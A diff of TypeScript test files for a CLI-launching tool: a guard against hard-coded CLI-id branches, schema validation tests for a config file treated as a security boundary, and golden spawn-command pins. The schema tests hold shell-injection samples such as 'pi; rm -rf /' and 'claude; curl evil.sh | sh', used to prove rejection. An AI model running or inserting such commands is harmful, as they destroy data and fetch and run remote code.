// Push approve/deny BUTTONS are withheld for dsh because the answer route refuses
|
||||
// keystrokes for its dialogs (third-party TUI, unmeasured contract) — a button whose
|
||||
// answer would be refused is worse than none. Arguably wants an "answerable dialogs"
|
||||
// capability; deliberately not invented here.
|
||||
"web/routes/hook-event-routes.ts::mode !== 'deepseek'":
|
||||
'push buttons withheld where the answer route refuses keystrokes',
|
||||
|
||||
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
|
||||
"web/routes/session-routes.ts::mode !== 'omp'": 'legacy <Mode>Config plumbing (resolveOmpConfigForCreate)',
|
||||
|
||||
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
|
||||
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
|
||||
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
|
||||
// change; expressing the chain as a capability would have to pick a side and would
|
||||
// therefore be a behaviour change. Left exactly as found, and named here so it is visible.
|
||||
"web/routes/session-routes.ts::mode !== 'opencode'":
|
||||
'scaffolded-case hooks + the COD-91 self-heal skip; the chain omits deepseek upstream, ' +
|
||||
'so any capability form would change behaviour — see PR discussion',
|
||||
"web/routes/session-routes.ts::mode !== 'codex'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'gemini'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'antigravity'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'pi'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'grok'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
};
|
||||
|
||||
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
|
||||
const IDS = STOCK_CLIS.map((e) => e.id as string);
|
||||
const ID_ALT = IDS.join('|');
|
||||
|
||||
/**
|
||||
* The shapes an id-branch actually takes, all four of them.
|
||||
*
|
||||
* ⚠️ An earlier version of this guard matched `===` ONLY, and that was not a small gap: the
|
||||
* refactor it guards converted the `===` sites and left the negated ones, so 36
|
||||
* `mode !== '<id>'` branches survived it — 28 in session-routes.ts alone, including a
|
||||
* seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in
|
||||
* step with a predicate BY HAND, while the sibling quick-start path already read
|
||||
* `capabilities.ralph`. A guard that sees half the shapes reports a count measured over the
|
||||
* half it happens to catch.
|
||||
*
|
||||
* `switch`/`case` and `[...].includes(mode)` are here for the same reason: each is a way of
|
||||
* writing the banned rule that the narrower pattern could not see.
|
||||
*/
|
||||
const BRANCH_PATTERN = new RegExp(
|
||||
[
|
||||
// mode === 'codex' / mode !== 'codex'
|
||||
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// case 'codex':
|
||||
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
|
||||
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
|
||||
`'(?:${ID_ALT})'\\s*(?:,\\s*'(?:${ID_ALT})'\\s*)*\\]\\s*\\.includes\\(`,
|
||||
].join('|'),
|
||||
'g'
|
||||
);
|
||||
|
||||
/**
|
||||
* BLANK comment lines before scanning, rather than dropping them. Comments legitimately quote
|
||||
* the very pattern being banned — several of them explain WHY a branch was removed — and
|
||||
* flagging those would push the next author to delete the explanation rather than the code.
|
||||
*
|
||||
* ⚠️ Blanking rather than removing is what keeps reported line numbers pointing at the real
|
||||
* file. Dropping the lines shifted every finding upward by however many comments preceded it,
|
||||
* so the guard's own diagnostic sent you to the wrong place — which for a rule about not
|
||||
* writing a branch is exactly the moment you need the right one.
|
||||
*/
|
||||
function uncommented(source: string): string {
|
||||
return source
|
||||
.split('\n')
|
||||
.map((line) => (/^\s*(\/\/|\*|\/\*)/.test(line) ? '' : line))
|
||||
.join('\n');
|
||||
}
|
||||
|
||||
function walk(dir: string, out: string[] = []): string[] {
|
||||
for (const name of readdirSync(dir)) {
|
||||
const full = join(dir, name);
|
||||
if (statSync(full).isDirectory()) walk(full, out);
|
||||
else if (name.endsWith('.ts')) out.push(full);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
interface Finding {
|
||||
file: string;
|
||||
expression: string;
|
||||
line: number;
|
||||
key: string;
|
||||
}
|
||||
|
||||
function scan(): { findings: Finding[]; filesScanned: number } {
|
||||
const findings: Finding[] = [];
|
||||
const files = walk(SRC);
|
||||
let scanned = 0;
|
||||
for (const full of files) {
|
||||
const rel = relative(SRC, full);
|
||||
if (EXEMPT_FILES.has(rel)) continue;
|
||||
scanned++;
|
||||
const lines = uncommented(readFileSync(full, 'utf-8')).split('\n');
|
||||
lines.forEach((line, i) => {
|
||||
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
|
||||
for (const match of line.matchAll(BRANCH_PATTERN)) {
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
|
||||
const posix = rel.split(sep).join('/');
|
||||
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
|
||||
}
|
||||
});
|
||||
}
|
||||
return { findings, filesScanned: scanned };
|
||||
}
|
||||
|
||||
const { findings, filesScanned } = scan();
|
||||
|
||||
describe('no CLI-id branching outside the stock catalog', () => {
|
||||
it('scans a meaningful number of source files (sanity)', () => {
|
||||
// If this collapses toward zero the walker or the exemption list drifted and every
|
||||
// assertion below would pass vacuously. Fix the scanner, do not delete the test.
|
||||
expect(filesScanned).toBeGreaterThan(100);
|
||||
});
|
||||
|
||||
it('builds its id list from the live catalog (sanity)', () => {
|
||||
expect(IDS).toContain('claude');
|
||||
expect(IDS).toContain('deepseek');
|
||||
expect(IDS.length).toBeGreaterThanOrEqual(9);
|
||||
});
|
||||
|
||||
it('still detects a branch when one exists (anti-vacuity)', () => {
|
||||
// Proves the pattern actually matches every shape it is meant to ban, so a regex typo
|
||||
// cannot silently turn this whole file into a no-op. One case per alternative, because
|
||||
// the `===`-only version of this test passed happily while `!==` went unseen.
|
||||
const samples = [
|
||||
"if (session.mode === 'codex') { doSomething(); }",
|
||||
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
|
||||
"switch (mode) { case 'gemini': return 1; }",
|
||||
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
|
||||
];
|
||||
for (const sample of samples) {
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
expect(sample.match(BRANCH_PATTERN), `pattern missed: ${sample}`).not.toBeNull();
|
||||
}
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull();
|
||||
});
|
||||
|
||||
it('has no unapproved id branches', () => {
|
||||
const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES));
|
||||
const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n');
|
||||
expect(
|
||||
offenders,
|
||||
offenders.length === 0
|
||||
? ''
|
||||
: `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` +
|
||||
'Two ways out, in order of preference:\n' +
|
||||
' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' +
|
||||
' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' +
|
||||
' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' +
|
||||
" WITH the reason. Read this file's header before choosing option 2."
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it('has no stale allowlist entries', () => {
|
||||
// An allowlisted branch that no longer exists is a lie about the codebase, and the next
|
||||
// person to reintroduce that exact branch would sail straight through.
|
||||
const present = new Set(findings.map((f) => f.key));
|
||||
const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key));
|
||||
expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('declared-for-later fields', () => {
|
||||
/**
|
||||
* The fields `CliEntry`'s header declares as not-yet-read. Each is frontend behaviour, and
|
||||
* the frontend is untouched by this change.
|
||||
*
|
||||
* This is here so the list cannot quietly GROW. An unread field is a promise the code does
|
||||
* not keep, and the failure mode is a reader trusting one: the next person sees
|
||||
* `echo.policy: 'buffer'` on an entry and assumes the terminal honours it. Adding a field
|
||||
* nobody reads should be a decision someone makes on purpose, which means updating this
|
||||
* list — and wiring one up should make its line here fail, which is the good direction.
|
||||
*/
|
||||
const DECLARED_FOR_LATER = [
|
||||
'shortBadge',
|
||||
'accent',
|
||||
'capabilities.echo',
|
||||
'capabilities.wheelForward',
|
||||
'capabilities.keyboardAccessory',
|
||||
'capabilities.maxFrameBytes',
|
||||
// The Docker credential-seeding path still reads its own CRED_STORES table: this shape
|
||||
// allows ONE store per CLI and the live table needs two for gemini. See CliOverlays.
|
||||
'overlays.credStore',
|
||||
];
|
||||
|
||||
/** Read every `.ts` under src/, minus the registry itself (which of course names them). */
|
||||
function sourceOutsideRegistry(): string {
|
||||
const parts: string[] = [];
|
||||
const stack = [SRC];
|
||||
while (stack.length > 0) {
|
||||
const dir = stack.pop()!;
|
||||
for (const name of readdirSync(dir)) {
|
||||
const full = join(dir, name);
|
||||
if (statSync(full).isDirectory()) {
|
||||
if (name !== 'cli-registry') stack.push(full);
|
||||
continue;
|
||||
}
|
||||
if (name.endsWith('.ts')) parts.push(uncommented(readFileSync(full, 'utf-8')));
|
||||
}
|
||||
}
|
||||
return parts.join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Receivers whose same-named property is NOT this field. A leaf-name match is all a static
|
||||
* check can do, and `cli.ts` calls `palette.accent('admin')` — the terminal colour helper,
|
||||
* unrelated to `CliEntry.accent`. Listing the receiver is better than dropping the field
|
||||
* from the check: a real read through any OTHER receiver still fails.
|
||||
*/
|
||||
const UNRELATED_RECEIVERS: Record<string, string[]> = { accent: ['palette'] };
|
||||
|
||||
const outside = sourceOutsideRegistry();
|
||||
|
||||
it.each(DECLARED_FOR_LATER)('%s is still unread outside the registry', (field) => {
|
||||
const leaf = field.split('.').pop()!;
|
||||
const ignore = UNRELATED_RECEIVERS[leaf] ?? [];
|
||||
// `.<leaf>` as a property access. Comment lines are already blanked, so a mention in
|
||||
// prose does not count as a read; a receiver listed above does not either.
|
||||
const pattern = new RegExp(`(\\w*)\\.${leaf}\\b`, 'g');
|
||||
const uses = [...outside.matchAll(pattern)].filter((m) => !ignore.includes(m[1])).map((m) => m[0]);
|
||||
expect(
|
||||
uses,
|
||||
`${field} now looks READ outside config/cli-registry. If that is deliberate, drop it ` +
|
||||
"from DECLARED_FOR_LATER here and from CliEntry's header comment — the point of both " +
|
||||
'is that a reader can tell which fields are load-bearing.'
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it('still catches a read when there is one (anti-vacuity)', () => {
|
||||
// The check is only worth having if it fires, so prove it against a field that IS read.
|
||||
// `capabilities.ralph` is live in session-routes; if this ever stops matching, the
|
||||
// scanner has drifted and every assertion above is passing vacuously.
|
||||
expect(outside).toMatch(/\.ralph\b/);
|
||||
expect(DECLARED_FOR_LATER.length).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,256 @@
|
||||
/**
|
||||
* @fileoverview Validation rules for a `CliEntry`.
|
||||
*
|
||||
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
|
||||
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
|
||||
*
|
||||
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
|
||||
* misspelled field name degrades to "field absent → the permissive default applies",
|
||||
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
|
||||
* - **No shell text can reach the command line.** Every literal is checked against a
|
||||
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
|
||||
* than being dropped — a silently dropped flag would change security-relevant behaviour
|
||||
* (losing `--no-approve` is not a cosmetic difference).
|
||||
*
|
||||
* Port: none (pure schema).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
|
||||
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
|
||||
function baseEntry(id = 'pi'): Record<string, unknown> {
|
||||
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
|
||||
if (!found) throw new Error(`no stock entry ${id}`);
|
||||
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
|
||||
}
|
||||
|
||||
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
|
||||
const entry = baseEntry();
|
||||
mutate(entry);
|
||||
const result = CliEntrySchema.safeParse(entry);
|
||||
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
||||
}
|
||||
|
||||
describe('the shipped catalog', () => {
|
||||
it('validates every stock entry exactly as shipped', () => {
|
||||
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const result = CliEntrySchema.safeParse(entry);
|
||||
expect(
|
||||
result.success,
|
||||
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
|
||||
).toBe(true);
|
||||
}
|
||||
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
|
||||
});
|
||||
|
||||
it('ships every entry with a unique id and order', () => {
|
||||
const ids = STOCK_CLIS.map((e) => e.id as string);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
const orders = STOCK_CLIS.map((e) => e.order);
|
||||
expect(new Set(orders).size).toBe(orders.length);
|
||||
});
|
||||
});
|
||||
|
||||
describe('strictness', () => {
|
||||
it('rejects an unknown key at the top level', () => {
|
||||
expectRejected((e) => {
|
||||
e.unknownField = true;
|
||||
}, 'a typo must not degrade to a permissive default');
|
||||
});
|
||||
|
||||
it('rejects an unknown key deep inside capabilities', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).newSwitch = true;
|
||||
}, 'strictness has to hold at every depth, not just the top');
|
||||
});
|
||||
|
||||
it('rejects an unknown key inside discovery', () => {
|
||||
expectRejected((e) => {
|
||||
(e.discovery as Record<string, unknown>).probeEverything = true;
|
||||
}, 'strictness has to hold at every depth');
|
||||
});
|
||||
});
|
||||
|
||||
describe('no shell text can reach the command line', () => {
|
||||
it('rejects a literal carrying shell metacharacters', () => {
|
||||
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
||||
expectRejected(
|
||||
(e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args[0] = { lit: evil };
|
||||
},
|
||||
`literal ${JSON.stringify(evil)} must be refused`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
|
||||
}, 'a fixed value is a literal too');
|
||||
});
|
||||
|
||||
it('rejects a flag that does not look like a flag', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: 'rm -rf /' });
|
||||
}, 'a flag must match -x / --long-flag');
|
||||
});
|
||||
|
||||
it('rejects an overlay command that is more than bare words', () => {
|
||||
expectRejected((e) => {
|
||||
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
|
||||
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
|
||||
});
|
||||
});
|
||||
|
||||
describe('cross-field integrity', () => {
|
||||
it('rejects a valueFrom naming an undeclared param', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
|
||||
}, 'a dangling valueFrom silently emits nothing');
|
||||
});
|
||||
|
||||
it('rejects a capabilityGate naming an undeclared gate', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
|
||||
}, 'an unknown gate never passes, so the flag would be silently unreachable');
|
||||
});
|
||||
|
||||
it('rejects a fallback chain whose last variant is conditional', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as Record<string, unknown>;
|
||||
launch.chain = 'fallback';
|
||||
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
|
||||
}, 'the terminal case of a fallback chain must be guaranteed to render');
|
||||
});
|
||||
|
||||
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
|
||||
expectRejected((e) => {
|
||||
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
|
||||
}, 'an alias for a param that does not exist can never apply');
|
||||
});
|
||||
|
||||
it('rejects a configSetenv reading an undeclared param', () => {
|
||||
// Losing this mapping for DeepSeek would silently drop a permission clamp.
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
|
||||
}, 'exporting from a param that does not exist would export nothing, silently');
|
||||
});
|
||||
|
||||
it('rejects a privilegedParams clamp naming an undeclared param', () => {
|
||||
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
|
||||
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
|
||||
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
|
||||
}, 'clamping a param that does not exist would silently stop clamping');
|
||||
});
|
||||
|
||||
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
|
||||
// codex is the entry where the two names differ, so it is the one that catches a
|
||||
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
|
||||
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
|
||||
// shipped entry must be on the param side of that line.
|
||||
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
||||
expect(codex).toBeDefined();
|
||||
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
||||
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
||||
|
||||
const wrong = baseEntry('codex');
|
||||
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
|
||||
{ param: 'dangerouslyBypassApprovals', clampTo: false },
|
||||
];
|
||||
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects a profile name this build does not implement', () => {
|
||||
expectRejected((e) => {
|
||||
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
|
||||
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
|
||||
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the env allowlist cannot be widened by config', () => {
|
||||
it('requires a prefix to end with an underscore', () => {
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
|
||||
}, 'a prefix without a trailing _ matches more namespaces than it names');
|
||||
});
|
||||
|
||||
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
|
||||
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
|
||||
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
|
||||
}, 'a 2-char prefix is too broad for a global allowlist');
|
||||
});
|
||||
|
||||
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
|
||||
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
|
||||
});
|
||||
});
|
||||
|
||||
describe('identity', () => {
|
||||
it('rejects an id that is not a lowercase kebab token', () => {
|
||||
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
|
||||
const entry = baseEntry();
|
||||
entry.id = bad;
|
||||
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects an accent that is not a 6-digit hex colour', () => {
|
||||
expectRejected((e) => {
|
||||
e.accent = 'red';
|
||||
}, 'the accent is interpolated into CSS');
|
||||
});
|
||||
|
||||
it('accepts a well-formed custom entry built from a stock one', () => {
|
||||
const entry = baseEntry();
|
||||
entry.id = 'my-cli';
|
||||
entry.label = 'My CLI';
|
||||
entry.stock = false;
|
||||
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('capability shapes', () => {
|
||||
it('accepts only the three hook states', () => {
|
||||
for (const value of ['none', 'always', 'supervised']) {
|
||||
const entry = baseEntry();
|
||||
(entry.capabilities as Record<string, unknown>).hooks = value;
|
||||
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
|
||||
}
|
||||
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
|
||||
// 'always', which is wrong for a supervised CLI.
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).hooks = true;
|
||||
}, 'hooks is a tri-state, not a boolean');
|
||||
});
|
||||
|
||||
it('accepts only known transcript readers', () => {
|
||||
const entry = baseEntry() as unknown as CliEntry;
|
||||
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
|
||||
const candidate = baseEntry();
|
||||
(candidate.capabilities as Record<string, unknown>).transcript = value;
|
||||
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
|
||||
}
|
||||
expect(entry.capabilities.transcript).toBeDefined();
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
|
||||
}, 'a transcript reader that does not exist would silently read nothing');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,295 @@
|
||||
/**
|
||||
* @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine.
|
||||
*
|
||||
* Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work
|
||||
* compared the engine against `buildSpawnCommand()` instead — which read as a strong parity
|
||||
* proof right up until `buildSpawnCommand` was itself switched over to call the engine, at
|
||||
* which point it was comparing the engine with itself and would have happily accepted any
|
||||
* regression the two shared. Literals cannot rot that way: they were captured from the
|
||||
* hand-written builders BEFORE those builders were removed, and they are now the only
|
||||
* surviving record of what those builders emitted.
|
||||
*
|
||||
* ⚠️ If a change here makes one of these fail, the question is never "what is the new string?"
|
||||
* It is "which real CLI invocation just changed, and is that intended?" A byte that moves in
|
||||
* this file is a byte that moves in a command line Codeman executes.
|
||||
*
|
||||
* Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included.
|
||||
* Grok had no parity coverage at all in the first draft of the registry, and deepseek did not
|
||||
* exist in it — the two modes most likely to be transcribed wrong were the two nothing
|
||||
* checked.
|
||||
*
|
||||
* Port: none (pure function over registry data).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { getCli } from '../src/config/cli-registry/registry.js';
|
||||
import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js';
|
||||
|
||||
/** A fixed session id, so `--session-id` is stable across runs. */
|
||||
const SID = '0f9c2b14-1111-2222-3333-444455556666';
|
||||
|
||||
function render(options: SpawnBridgeOptions): string | undefined {
|
||||
const entry = getCli(options.mode);
|
||||
if (!entry) throw new Error(`no registry entry for mode ${options.mode}`);
|
||||
return buildSpawnCommandFromRegistry(entry, options);
|
||||
}
|
||||
|
||||
/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */
|
||||
function claude(extra: Partial<SpawnBridgeOptions> = {}): string | undefined {
|
||||
return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra });
|
||||
}
|
||||
|
||||
describe('claude', () => {
|
||||
it('defaults to skip-permissions plus a new session id', () => {
|
||||
expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"');
|
||||
});
|
||||
|
||||
it('maps each permission mode', () => {
|
||||
expect(claude({ claudeMode: 'auto' })).toBe(
|
||||
'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"');
|
||||
expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe(
|
||||
'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
|
||||
it('resumes through a shell fallback to a fresh session', () => {
|
||||
// The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell
|
||||
// text. This pin is what proves the fallback chain still renders as one command line.
|
||||
expect(claude({ resumeSessionId: 'abc-123-def' })).toBe(
|
||||
'claude --dangerously-skip-permissions --resume "abc-123-def" || ' +
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
|
||||
it('carries effort as a flag, and ultracode as a settings blob', () => {
|
||||
expect(claude({ effort: 'max' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\''
|
||||
);
|
||||
expect(claude({ effort: 'ultracode' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
|
||||
'--settings \'{"ultracode":true}\''
|
||||
);
|
||||
});
|
||||
|
||||
it('gates --name on the CLI version, failing closed when it is unknown', () => {
|
||||
const named = { sessionName: 'w1 alpha' };
|
||||
expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"'
|
||||
);
|
||||
expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
// Unknown version satisfies NO gate. A version probe that fails must not silently
|
||||
// upgrade behaviour.
|
||||
expect(claude({ ...named, claudeCliVersion: null })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('opencode', () => {
|
||||
const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) =>
|
||||
render({ mode: 'opencode', sessionId: SID, openCodeConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(oc()).toBe('opencode');
|
||||
});
|
||||
|
||||
it('reads its resume id through the legacy `continueSession` alias', () => {
|
||||
expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe(
|
||||
'opencode --model anthropic/claude --session ses_9'
|
||||
);
|
||||
});
|
||||
|
||||
it('only forks an existing session', () => {
|
||||
expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork');
|
||||
// --fork with nothing to fork from would be meaningless, so it drops out entirely.
|
||||
expect(oc({ forkSession: true })).toBe('opencode');
|
||||
});
|
||||
});
|
||||
|
||||
describe('codex', () => {
|
||||
const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) =>
|
||||
render({ mode: 'codex', sessionId: SID, codexConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(cx()).toBe('codex');
|
||||
});
|
||||
|
||||
it('emits the bypass flag only when asked', () => {
|
||||
expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox');
|
||||
expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex');
|
||||
});
|
||||
|
||||
it('sends animations as an explicit true/false config pair', () => {
|
||||
expect(cx({ animations: true })).toBe('codex --config tui.animations=true');
|
||||
expect(cx({ animations: false })).toBe('codex --config tui.animations=false');
|
||||
});
|
||||
|
||||
it('resumes with a POSITIONAL subcommand, not a flag', () => {
|
||||
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
|
||||
});
|
||||
});
|
||||
|
||||
describe('gemini', () => {
|
||||
const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) =>
|
||||
render({ mode: 'gemini', sessionId: SID, geminiConfig });
|
||||
|
||||
it('defaults an absent approval mode to yolo', () => {
|
||||
// ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config
|
||||
// for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would
|
||||
// miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts.
|
||||
expect(gm()).toBe('gemini --skip-trust --approval-mode yolo');
|
||||
});
|
||||
|
||||
it('honours an explicit approval mode', () => {
|
||||
